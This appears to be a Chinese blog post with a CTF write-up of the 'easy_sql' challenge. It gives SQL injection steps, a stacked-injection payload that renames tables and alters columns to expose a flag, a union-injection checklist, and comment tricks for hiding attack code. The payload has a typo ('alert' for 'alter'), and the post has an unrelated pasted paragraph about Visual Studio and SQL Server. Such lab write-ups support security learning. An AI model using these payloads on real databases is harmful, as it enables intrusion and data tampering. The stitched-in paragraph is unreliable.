easy_sql

首先判断sql注入,

输入1,2都有回显,输入3没有回显

输入1

输入1'

输入1'#,发现这里是单引号闭合,sql注入是字符型

接着测试字段  1' order by 1 #,到3时报错,则字段数为2

尝试联合查询注入,1' union select 1,2#,发现被过滤了

那就用堆叠注入,先尝试爆数据库,0'; show databases; #

在尝试报表,0'; show tables; #

这里发现两个表,将这两个表爆出来,

1'; show columns from words; #

0'; show columns from 1919810931114514 ; #

但是在爆破数字表名的这个表却没有回显,这里我看了别人的wp

进行以下操作:

1.将words表改名为word1或其它任意名字

2.1919810931114514改名为words

3.将新的word表插入一列,列名为id

4.将flag列改名为data

构造payload

1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

接着我们再用1,查询就得到flag

联合查询注入流程:

1、判断有无闭合 ,1,1‘,1’#

2、猜解字段 order by 10 //采用二分法

3、判断数据回显位置 -1 union select 1,2,3,4,5.... //参数等号后面加-表示不显示当前数据

4、获取当前数据库名、用户、版本   union select version(),database(),user(),

紧接着就获取数据库名,表名及数据

堆叠注入:

目标存在sql注入漏洞

目标未对";"号进行过滤

目标中间层查询数据库信息时可同时执行多条sql语句

常见注释:

单行注释:使用"--"符号,后面的内容将被注释掉。
多行注释:使用"/* */"符号,其中的内容将被注释掉。
分段注释:可以通过在SQL语句中间添加注释符号来隐藏攻击代码,例如使用")--"或")/*"。
特殊符号注释:通过使用特殊符号来实现注释,例如在MySQL中,可以使用"#"符号来注释掉后面的内容。

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Visual Studio 2019 is a powerful integrated development environment (IDE) for building applications for various platforms, including Windows, Android, iOS, and web. C is a general-purpose, procedural programming language that has been widely used for developing operating systems, embedded systems, and other system-level software. SQL Server is a relational database management system (RDBMS) developed by Microsoft. It is used to store and manage large amounts of data and provides various features such as data analytics, reporting, and business intelligence. Visual Studio 2019 provides built-in support for developing applications that use SQL Server databases. Developers can use the SQL Server Object Explorer to view and manage databases, tables, and stored procedures. They can also use LINQ to SQL, Entity Framework, and other data access technologies to query and manipulate data from SQL Server databases. Visual Studio 2019 also provides various tools for debugging and testing applications that use SQL Server databases. Developers can use the SQL Server Profiler to trace database activity and diagnose performance issues. They can also use the SQL Server Data Tools (SSDT) to create and manage database projects and automate database deployments. Overall, Visual Studio 2019 provides a comprehensive set of tools and features for developing applications that use SQL Server databases. Whether you are building a desktop application, a web application, or a mobile application, Visual Studio 2019 makes it easy to connect to SQL Server databases and work with data.

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值